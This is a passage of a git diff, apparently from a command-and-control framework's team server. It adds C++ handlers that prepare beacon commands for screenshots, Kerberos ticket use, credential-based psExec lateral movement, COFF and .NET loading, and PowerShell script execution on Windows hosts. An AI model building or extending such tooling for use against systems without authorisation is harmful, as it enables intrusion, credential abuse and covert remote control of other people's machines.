(trailingSpace && start < tokens.size()) + output << ' '; + return output.str(); +} + +std::string extensionLower(const std::string& path) +{ + return toLower(fs::path(path).extension().string()); +} + +bool endsWithDll(const std::string& path) +{ + return extensionLower(path) == ".dll"; +} + +bool endsWithExe(const std::string& path) +{ + return extensionLower(path) == ".exe"; +} + +std::string normalizeScreenshotNameHint( + const std::vector& tokens, + std::string& errorMessage) +{ + std::string nameHint = tokens.size() == 2 ? tokens[1] : "screenshot.png"; + const std::string extension = extensionLower(nameHint); + if (extension.empty()) + return nameHint + ".png"; + if (extension == ".png") + return nameHint; + + errorMessage = "screenShot only supports PNG artifacts. Use a .png artifact name or omit the extension."; + return {}; +} + +TeamServerCommandPreparerResult handledError(C2Message& c2Message, const std::string& message) +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + c2Message.set_returnvalue(message); + return result; +} + +TeamServerCommandPreparerResult unhandled() +{ + return {}; +} +} // namespace + +TeamServerModuleArtifactCommandPreparer::TeamServerModuleArtifactCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_fileArtifactService(std::move(fileArtifactService)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerModuleArtifactCommandPreparer::canPrepare(const std::string& instruction) const +{ + const std::string lowered = toLower(instruction); + return lowered == "screenshot" + || lowered == "kerberosuseticket" + || lowered == "psexec" + || lowered == "coffloader" + || lowered == "dotnetexec" + || lowered == "pwsh"; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + const std::string instruction = toLower(context.tokens.empty() ? "" : context.tokens[0]); + if (instruction == "screenshot") + return prepareScreenShot(context, c2Message); + if (instruction == "kerberosuseticket") + return prepareKerberosUseTicket(context, c2Message); + if (instruction == "psexec") + return preparePsExec(context, c2Message); + if (instruction == "coffloader") + return prepareCoffLoader(context, c2Message); + if (instruction == "dotnetexec") + return prepareDotnetExec(context, c2Message); + if (instruction == "pwsh") + return preparePwSh(context, c2Message); + return unhandled(); +} + +bool TeamServerModuleArtifactCommandPreparer::hasModule(const std::string& name) const +{ + const std::string lowered = toLower(name); + for (const auto& module : m_moduleCmd) + { + if (module && toLower(module->getName()) == lowered) + return true; + } + return false; +} + +TeamServerPreparedInputArtifact TeamServerModuleArtifactCommandPreparer::resolveToolOrUpload( + const std::string& selector, + const TeamServerCommandPreparerContext& context, + std::string& errorMessage) const +{ + TeamServerPreparedInputArtifact tool = m_fileArtifactService->resolveToolArtifact( + selector, + context.isWindows, + context.windowsArch); + if (tool.ok) + return tool; + + TeamServerPreparedInputArtifact upload = m_fileArtifactService->resolveUploadArtifact( + selector, + context.isWindows, + context.windowsArch); + if (upload.ok) + return upload; + + errorMessage = tool.message + "\n" + upload.message; + return {}; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::prepareScreenShot( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + const std::vector tokens = regroup(context.tokens); + if (!context.isWindows) + return handledError(c2Message, "screenShot is Windows-only.\n"); + if (!hasModule("screenShot")) + return handledError(c2Message, "Module screenShot not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() > 2) + return handledError(c2Message, "Usage: screenShot [artifact_name.png]\n"); + + std::string nameError; + const std::string nameHint = normalizeScreenshotNameHint(tokens, nameError); + if (!nameError.empty()) + return handledError(c2Message, nameError + "\n"); + + TeamServerGeneratedFileArtifactSpec spec; + spec.remotePath = "screen"; + spec.nameHint = nameHint; + spec.category = "screenshot"; + spec.source = "beacon"; + spec.format = "png"; + spec.runtime = "file"; + spec.description = "Screenshot captured from beacon host."; + spec.tags = {"screenShot", "screenshot"}; + spec.isWindows = true; + spec.arch = context.windowsArch; + spec.writeResultData = true; + + TeamServerPreparedDownloadArtifact artifact = m_fileArtifactService->prepareGeneratedFileArtifact(spec); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("screenShot"); + c2Message.set_outputfile(artifact.path); + result.status = 0; + if (m_logger) + m_logger->info("Prepared screenShot artifact path {}", artifact.path); + return result; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::prepareKerberosUseTicket( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + const std::vector tokens = regroup(context.tokens); + if (!context.isWindows) + return handledError(c2Message, "kerberosUseTicket is Windows-only.\n"); + if (!hasModule("kerberosUseTicket")) + return handledError(c2Message, "Module kerberosUseTicket not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() != 2) + return handledError(c2Message, "Usage: kerberosUseTicket \n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveUploadArtifact( + tokens[1], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("kerberosUseTicket"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_data(artifact.bytes); + result.status = 0; + return result; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::preparePsExec( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + const std::vector tokens = regroup(context.tokens); + if (!context.isWindows) + return handledError(c2Message, "psExec is Windows-only.\n"); + if (!hasModule("psExec")) + return handledError(c2Message, "Module psExec not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() < 2) + return handledError(c2Message, "Usage: psExec -u | psExec -k|-n \n"); + + std::string selector; + std::string packedCommand; + const std::string mode = tokens[1]; + if (mode == "-u" && tokens.size() == 6) + { + std::string domain = "."; + std::string username = tokens[2]; + std::vector userParts; + splitList(tokens[2], "\\", userParts); + if (userParts.size() == 1) + { + username = userParts[0]; + } + else if (userParts.size() > 1) + { + domain = userParts[0]; + username = userParts[1]; + } + + packedCommand = domain; + packedCommand += '\0'; + packedCommand += username; + packedCommand += '\0'; + packedCommand += tokens[3]; + packedCommand += '\0'; + packedCommand += tokens[4]; + selector = tokens[5]; + } + else if ((mode == "-n" || mode == "-k") && tokens.size() == 4) + { + packedCommand = tokens[2]; + selector = tokens[3]; + } + else + { + return handledError(c2Message, "Usage: psExec -u | psExec -k|-n \n"); + } + + std::string errorMessage; + TeamServerPreparedInputArtifact artifact = resolveToolOrUpload(selector, context, errorMessage); + if (!artifact.ok) + return handledError(c2Message, errorMessage + "\n"); + + c2Message.set_instruction("psExec"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_cmd(packedCommand); + c2Message.set_data(artifact.bytes); + result.status = 0; + return result; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::prepareCoffLoader( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + const std::vector tokens = regroup(context.tokens); + if (!context.isWindows) + return handledError(c2Message, "coffLoader is Windows-only.\n"); + if (!hasModule("coffLoader")) + return handledError(c2Message, "Module coffLoader not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() < 3) + return handledError(c2Message, "Usage: coffLoader [packed_arguments]\n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveToolArtifact( + tokens[1], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("coffLoader"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_cmd(tokens[2]); + c2Message.set_args(tokens.size() > 3 ? joinTail(tokens, 3) : ""); + c2Message.set_data(artifact.bytes); + result.status = 0; + return result; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::prepareDotnetExec( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + const std::vector tokens = regroup(context.tokens); + if (tokens.size() < 2 || tokens[1] != "load") + return result; + + result.handled = true; + result.status = -1; + if (!context.isWindows) + return handledError(c2Message, "dotnetExec is Windows-only.\n"); + if (!hasModule("dotnetExec")) + return handledError(c2Message, "Module dotnetExec not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() != 4 && tokens.size() != 5) + return handledError(c2Message, "Usage: dotnetExec load [type_for_dll]\n"); + + const std::string& selector = tokens[3]; + std::string type; + if (endsWithDll(selector) && tokens.size() == 5) + type = tokens[4]; + else if (endsWithExe(selector) && tokens.size() == 4) + type = ""; + else + return handledError(c2Message, "For exe typeForDll must be empty. For dll typeForDll must specify the namespace and class.\n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveToolArtifact( + selector, + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("dotnetExec"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_cmd(DotnetLoadCommand); + c2Message.set_args(tokens[2]); + c2Message.set_returnvalue(type); + c2Message.set_data(artifact.bytes); + result.status = 0; + return result; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::preparePwSh( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + const std::vector tokens = regroup(context.tokens); + if (tokens.size() < 2) + return result; + + result.handled = true; + result.status = -1; + if (!context.isWindows) + return handledError(c2Message, "pwSh is Windows-only.\n"); + if (!hasModule("pwSh")) + return handledError(c2Message, "Module pwSh not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + + const std::string action = tokens[1]; + if (action == "init") + { + if (tokens.size() != 2) + return handledError(c2Message, "Usage: pwSh init\n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveToolArtifact( + FixedPwShRunner, + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("pwSh"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_cmd(PwShLoadCommand); + c2Message.set_args(FixedPwShType); + c2Message.set_data(artifact.bytes); + result.status = 0; + return result; + } + if (action == "run" && tokens.size() >= 3) + { + c2Message.set_instruction("pwSh"); + c2Message.set_cmd(PwShRunCommand); + c2Message.set_args(joinTail(tokens, 2, true)); + result.status = 0; + return result; + } + if ((action == "import" || action == "script") && tokens.size() == 3) + { + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveScriptArtifact( + tokens[2], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + std::string payload; + if (action == "import") + { + payload = "New-Module -ScriptBlock {\n"; + payload += artifact.bytes; + payload += "\nExport-ModuleMember -Function * -Alias *;};"; + c2Message.set_cmd(PwShImportCommand); + } + else + { + payload = "Invoke-Command -ScriptBlock {\n"; + payload += artifact.bytes; + payload += "};"; + c2Message.set_cmd(PwShScriptCommand); + } + + c2Message.set_instruction("pwSh"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_args(payload); + result.status = 0; + return result; + } + + return handledError(c2Message, "Usage: pwSh init | pwSh run | pwSh import | pwSh script \n"); +} diff --git a/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.hpp b/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.hpp new file mode 100644 index 0000000..2851418 --- /dev/null +++ b/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.hpp @@ -0,0 +1,54 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerModuleArtifactCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerModuleArtifactCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + bool hasModule(const std::string& name) const; + TeamServerPreparedInputArtifact resolveToolOrUpload( + const std::string& selector, + const TeamServerCommandPreparerContext& context, + std::string& errorMessage) const; + + TeamServerCommandPreparerResult prepareScreenShot( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult prepareKerberosUseTicket( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult preparePsExec( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult prepareCoffLoader( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult prepareDotnetExec( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult preparePwSh( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + + std::shared_ptr m_logger; + std::shared_ptr m_fileArtifactService; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/teamServer/TeamServerRuntimeConfig.cpp b/teamServer/teamServer/TeamServerRuntimeConfig.cpp index de052b4..79d8039 100644 --- a/teamServer/teamServer/TeamServerRuntimeConfig.cpp +++ b/teamServer/teamServer/TeamServerRuntimeConfig.cpp @@ -10,40 +10,116 @@ namespace fs = std::filesystem; +namespace +{ +std::string ensureTrailingSeparator(std::string path) +{ + if (!path.empty() && path.back() != '/' && path.back() != '\\') + path += '/'; + return path; +} + +std::string jsonString(const nlohmann::json& config, const char* key, const std::string& fallback) +{ + auto it = config.find(key); + if (it == config.end() || !it->is_string()) + return fallback; + return it->get(); +} + +std::string childPath(const std::string& root, const std::string& child) +{ + return ensureTrailingSeparator((fs::path(root) / child).string()); +} + +void parseArchList( + const nlohmann::json& config, + const char* key, + std::vector& archs, + const std::vector& fallback, + std::string (*normalizer)(const std::string&)) +{ + auto it = config.find(key); + if (it == config.end() || !it->is_array()) + return; + + archs.clear(); + for (const auto& arch : *it) + { + if (!arch.is_string()) + continue; + std::string normalized = normalizer(arch.get()); + if (!normalized.empty() && std::find(archs.begin(), archs.end(), normalized) == archs.end()) + archs.push_back(normalized); + } + if (archs.empty()) + archs = fallback; +} + +void ensureDirectory(const fs::path& path, const char* label, const std::shared_ptr& logger) +{ + std::error_code ec; + if (fs::exists(path, ec) && fs::is_directory(path, ec)) + return; + + fs::create_directories(path, ec); + if (ec) + logger->error("{0} directory path don't exist and could not be created: {1}", label, path.string().c_str()); +} + +void ensurePlatformArchDirectories( + const fs::path& root, + const std::string& platformDirectory, + const std::vector& archs, + const std::shared_ptr& logger) +{ + for (const std::string& arch : archs) + ensureDirectory(root / platformDirectory / arch, platformDirectory.c_str(), logger); +} +} // namespace + TeamServerRuntimeConfig TeamServerRuntimeConfig::fromJson(const nlohmann::json& config) { TeamServerRuntimeConfig runtimeConfig; - runtimeConfig.teamServerModulesDirectoryPath = config["TeamServerModulesDirectoryPath"].get(); - runtimeConfig.linuxModulesDirectoryPath = config["LinuxModulesDirectoryPath"].get(); - runtimeConfig.windowsModulesDirectoryPath = config["WindowsModulesDirectoryPath"].get(); - runtimeConfig.linuxBeaconsDirectoryPath = config["LinuxBeaconsDirectoryPath"].get(); - runtimeConfig.windowsBeaconsDirectoryPath = config["WindowsBeaconsDirectoryPath"].get(); - runtimeConfig.toolsDirectoryPath = config["ToolsDirectoryPath"].get(); - runtimeConfig.scriptsDirectoryPath = config["ScriptsDirectoryPath"].get(); + runtimeConfig.releaseRoot = ensureTrailingSeparator(jsonString(config, "ReleaseRoot", runtimeConfig.releaseRoot)); + runtimeConfig.dataRoot = ensureTrailingSeparator(jsonString(config, "DataRoot", runtimeConfig.dataRoot)); + + runtimeConfig.teamServerModulesDirectoryPath = ensureTrailingSeparator( + jsonString(config, "TeamServerModulesDirectoryPath", childPath(runtimeConfig.releaseRoot, "TeamServerModules"))); + runtimeConfig.linuxModulesDirectoryPath = ensureTrailingSeparator( + jsonString(config, "LinuxModulesDirectoryPath", childPath(runtimeConfig.releaseRoot, "LinuxModules"))); + runtimeConfig.windowsModulesDirectoryPath = ensureTrailingSeparator( + jsonString(config, "WindowsModulesDirectoryPath", childPath(runtimeConfig.releaseRoot, "WindowsModules"))); + runtimeConfig.linuxBeaconsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "LinuxBeaconsDirectoryPath", childPath(runtimeConfig.releaseRoot, "LinuxBeacons"))); + runtimeConfig.windowsBeaconsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "WindowsBeaconsDirectoryPath", childPath(runtimeConfig.releaseRoot, "WindowsBeacons"))); + runtimeConfig.commandSpecsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "CommandSpecsDirectoryPath", childPath(runtimeConfig.releaseRoot, "CommandSpecs"))); + + runtimeConfig.toolsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "ToolsDirectoryPath", childPath(runtimeConfig.dataRoot, "Tools"))); + runtimeConfig.scriptsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "ScriptsDirectoryPath", childPath(runtimeConfig.dataRoot, "Scripts"))); + runtimeConfig.uploadedArtifactsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "UploadedArtifactsDirectoryPath", childPath(runtimeConfig.dataRoot, "UploadedArtifacts"))); + runtimeConfig.generatedArtifactsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "GeneratedArtifactsDirectoryPath", childPath(runtimeConfig.dataRoot, "GeneratedArtifacts"))); + runtimeConfig.hostedArtifactsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "HostedArtifactsDirectoryPath", childPath(runtimeConfig.generatedArtifactsDirectoryPath, "hosted"))); + if (auto it = config.find("DefaultWindowsArch"); it != config.end() && it->is_string()) runtimeConfig.defaultWindowsArch = normalizeWindowsArch(it->get()); - if (auto it = config.find("SupportedWindowsArchs"); it != config.end() && it->is_array()) - { - runtimeConfig.supportedWindowsArchs.clear(); - for (const auto& arch : *it) - { - if (!arch.is_string()) - continue; - std::string normalized = normalizeWindowsArch(arch.get()); - if (!normalized.empty() - && std::find(runtimeConfig.supportedWindowsArchs.begin(), runtimeConfig.supportedWindowsArchs.end(), normalized) - == runtimeConfig.supportedWindowsArchs.end()) - { - runtimeConfig.supportedWindowsArchs.push_back(normalized); - } - } - if (runtimeConfig.supportedWindowsArchs.empty()) - runtimeConfig.supportedWindowsArchs = {"x86", "x64", "arm64"}; - } + if (auto it = config.find("DefaultLinuxArch"); it != config.end() && it->is_string()) + runtimeConfig.defaultLinuxArch = normalizeLinuxArch(it->get()); + parseArchList(config, "SupportedWindowsArchs", runtimeConfig.supportedWindowsArchs, {"x86", "x64", "arm64"}, normalizeWindowsArch); + parseArchList(config, "SupportedLinuxArchs", runtimeConfig.supportedLinuxArchs, {"x64"}, normalizeLinuxArch); return runtimeConfig; } -std::string TeamServerRuntimeConfig::normalizeWindowsArch(const std::string& arch) +namespace +{ +std::string normalizeCpuArch(const std::string& arch) { std::string lowered = arch; std::transform(lowered.begin(), lowered.end(), lowered.begin(), [](unsigned char c) @@ -59,6 +135,17 @@ std::string TeamServerRuntimeConfig::normalizeWindowsArch(const std::string& arc return "arm64"; return ""; } +} // namespace + +std::string TeamServerRuntimeConfig::normalizeWindowsArch(const std::string& arch) +{ + return normalizeCpuArch(arch); +} + +std::string TeamServerRuntimeConfig::normalizeLinuxArch(const std::string& arch) +{ + return normalizeCpuArch(arch); +} void TeamServerRuntimeConfig::validateDirectories(const std::shared_ptr& logger) const { @@ -67,6 +154,15 @@ void TeamServerRuntimeConfig::validateDirectories(const std::shared_ptrerror("Linux modules directory path don't exist: {0}", linuxModulesDirectoryPath.c_str()); + else + { + for (const auto& arch : supportedLinuxArchs) + { + fs::path archPath = fs::path(linuxModulesDirectoryPath) / arch; + if (!fs::exists(archPath)) + logger->error("Linux modules architecture directory path don't exist: {0}", archPath.string().c_str()); + } + } if (!fs::exists(windowsModulesDirectoryPath)) logger->error("Windows modules directory path don't exist: {0}", windowsModulesDirectoryPath.c_str()); @@ -82,6 +178,15 @@ void TeamServerRuntimeConfig::validateDirectories(const std::shared_ptrerror("Linux beacon directory path don't exist: {0}", linuxBeaconsDirectoryPath.c_str()); + else + { + for (const auto& arch : supportedLinuxArchs) + { + fs::path archPath = fs::path(linuxBeaconsDirectoryPath) / arch; + if (!fs::exists(archPath)) + logger->error("Linux beacon architecture directory path don't exist: {0}", archPath.string().c_str()); + } + } if (!fs::exists(windowsBeaconsDirectoryPath)) logger->error("Windows beacon directory path don't exist: {0}", windowsBeaconsDirectoryPath.c_str()); @@ -100,11 +205,29 @@ void TeamServerRuntimeConfig::validateDirectories(const std::shared_ptrerror("DefaultWindowsArch is not listed in SupportedWindowsArchs: {0}", defaultWindowsArch.c_str()); - if (!fs::exists(toolsDirectoryPath)) - logger->error("Tools directory path don't exist: {0}", toolsDirectoryPath.c_str()); + if (TeamServerRuntimeConfig::normalizeLinuxArch(defaultLinuxArch).empty()) + logger->error("DefaultLinuxArch is not supported: {0}", defaultLinuxArch.c_str()); + else if (std::find(supportedLinuxArchs.begin(), supportedLinuxArchs.end(), defaultLinuxArch) == supportedLinuxArchs.end()) + logger->error("DefaultLinuxArch is not listed in SupportedLinuxArchs: {0}", defaultLinuxArch.c_str()); + + ensureDirectory(toolsDirectoryPath, "Tools", logger); + ensurePlatformArchDirectories(toolsDirectoryPath, "Windows", supportedWindowsArchs, logger); + ensurePlatformArchDirectories(toolsDirectoryPath, "Linux", supportedLinuxArchs, logger); + + ensureDirectory(scriptsDirectoryPath, "Scripts", logger); + ensureDirectory(fs::path(scriptsDirectoryPath) / "Windows", "Windows scripts", logger); + ensureDirectory(fs::path(scriptsDirectoryPath) / "Linux", "Linux scripts", logger); + + ensureDirectory(uploadedArtifactsDirectoryPath, "Uploaded artifacts", logger); + ensureDirectory(fs::path(uploadedArtifactsDirectoryPath) / "Any" / "any", "Any uploaded artifacts", logger); + ensurePlatformArchDirectories(uploadedArtifactsDirectoryPath, "Windows", supportedWindowsArchs, logger); + ensurePlatformArchDirectories(uploadedArtifactsDirectoryPath, "Linux", supportedLinuxArchs, logger); + + ensureDirectory(generatedArtifactsDirectoryPath, "Generated artifacts", logger); + ensureDirectory(hostedArtifactsDirectoryPath, "Hosted artifacts", logger); - if (!fs::exists(scriptsDirectoryPath)) - logger->error("Script directory path don't exist: {0}", scriptsDirectoryPath.c_str()); + if (!fs::exists(commandSpecsDirectoryPath)) + logger->error("Command specs directory path don't exist: {0}", commandSpecsDirectoryPath.c_str()); } void TeamServerRuntimeConfig::configureCommonCommands(CommonCommands& commonCommands) const diff --git a/teamServer/teamServer/TeamServerRuntimeConfig.hpp b/teamServer/teamServer/TeamServerRuntimeConfig.hpp index 402e581..78c582f 100644 --- a/teamServer/teamServer/TeamServerRuntimeConfig.hpp +++ b/teamServer/teamServer/TeamServerRuntimeConfig.hpp @@ -15,6 +15,8 @@ class logger; struct TeamServerRuntimeConfig { + std::string releaseRoot = "../"; + std::string dataRoot = "../data/"; std::string teamServerModulesDirectoryPath; std::string linuxModulesDirectoryPath; std::string windowsModulesDirectoryPath; @@ -22,11 +24,18 @@ struct TeamServerRuntimeConfig std::string windowsBeaconsDirectoryPath; std::string toolsDirectoryPath; std::string scriptsDirectoryPath; + std::string commandSpecsDirectoryPath = "../CommandSpecs/"; + std::string uploadedArtifactsDirectoryPath = "../data/UploadedArtifacts/"; + std::string generatedArtifactsDirectoryPath = "../data/GeneratedArtifacts/"; + std::string hostedArtifactsDirectoryPath = "../data/GeneratedArtifacts/hosted/"; std::string defaultWindowsArch = "x64"; + std::string defaultLinuxArch = "x64"; std::vector supportedWindowsArchs = {"x86", "x64", "arm64"}; + std::vector supportedLinuxArchs = {"x64"}; static TeamServerRuntimeConfig fromJson(const nlohmann::json& config); static std::string normalizeWindowsArch(const std::string& arch); + static std::string normalizeLinuxArch(const std::string& arch); void validateDirectories(const std::shared_ptr& logger) const; void configureCommonCommands(CommonCommands& commonCommands) const; diff --git a/teamServer/teamServer/TeamServerScriptCommandPreparer.cpp b/teamServer/teamServer/TeamServerScriptCommandPreparer.cpp new file mode 100644 index 0000000..78766c5 --- /dev/null +++ b/teamServer/teamServer/TeamServerScriptCommandPreparer.cpp @@ -0,0 +1,161 @@ +#include "TeamServerScriptCommandPreparer.hpp" + +#include +#include +#include +#include + +#include "modules/ModuleCmd/Common.hpp" + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::vector regroup(const std::vector& tokens) +{ + return regroupStrings(tokens); +} + +std::string joinTailWithSpace(const std::vector& tokens, std::size_t start) +{ + std::ostringstream output; + for (std::size_t index = start; index < tokens.size(); ++index) + output << tokens[index] << ' '; + return output.str(); +} + +TeamServerCommandPreparerResult handledError(C2Message& c2Message, const std::string& message) +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + c2Message.set_returnvalue(message); + return result; +} +} // namespace + +TeamServerScriptCommandPreparer::TeamServerScriptCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_fileArtifactService(std::move(fileArtifactService)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerScriptCommandPreparer::canPrepare(const std::string& instruction) const +{ + const std::string lowered = toLower(instruction); + return lowered == "script" || lowered == "powershell"; +} + +TeamServerCommandPreparerResult TeamServerScriptCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + const std::string instruction = toLower(context.tokens.empty() ? "" : context.tokens[0]); + if (instruction == "script") + return prepareScript(context, c2Message); + return preparePowershellScript(context, c2Message); +} + +bool TeamServerScriptCommandPreparer::hasModule(const std::string& name) const +{ + const std::string lowered = toLower(name); + for (const auto& module : m_moduleCmd) + { + if (module && toLower(module->getName()) == lowered) + return true; + } + return false; +} + +TeamServerCommandPreparerResult TeamServerScriptCommandPreparer::prepareScript( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + if (!hasModule("script")) + return handledError(c2Message, "Module script not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + + const std::vector tokens = regroup(context.tokens); + if (tokens.size() != 2) + return handledError(c2Message, "Usage: script \n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveScriptArtifact( + tokens[1], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("script"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_data(artifact.bytes); + result.status = 0; + if (m_logger) + m_logger->info("Prepared script artifact {}", artifact.artifact.name); + return result; +} + +TeamServerCommandPreparerResult TeamServerScriptCommandPreparer::preparePowershellScript( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + const std::vector tokens = regroup(context.tokens); + if (tokens.size() < 2 || (tokens[1] != "-i" && tokens[1] != "-s")) + return result; + + result.handled = true; + result.status = -1; + if (!hasModule("powershell")) + return handledError(c2Message, "Module powershell not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() != 3) + return handledError(c2Message, "Usage: powershell -i|-s \n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveScriptArtifact( + tokens[2], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + std::string payload; + if (tokens[1] == "-i") + { + payload = "New-Module -ScriptBlock {\n"; + payload += artifact.bytes; + payload += "\nExport-ModuleMember -Function * -Alias *;};"; + } + else + { + payload = "Invoke-Command -ScriptBlock {\n"; + payload += artifact.bytes; + payload += "\n};"; + } + + c2Message.set_instruction("powershell"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_cmd(joinTailWithSpace(tokens, 1)); + c2Message.set_data(payload.data(), payload.size()); + result.status = 0; + if (m_logger) + m_logger->info("Prepared powershell script artifact {}", artifact.artifact.name); + return result; +} diff --git a/teamServer/teamServer/TeamServerScriptCommandPreparer.hpp b/teamServer/teamServer/TeamServerScriptCommandPreparer.hpp new file mode 100644 index 0000000..1336fa5 --- /dev/null +++ b/teamServer/teamServer/TeamServerScriptCommandPreparer.hpp @@ -0,0 +1,37 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerScriptCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerScriptCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + bool hasModule(const std::string& name) const; + TeamServerCommandPreparerResult prepareScript( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult preparePowershellScript( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + + std::shared_ptr m_logger; + std::shared_ptr m_fileArtifactService; + std::vector>& m_moduleCmd; +}; diff --git 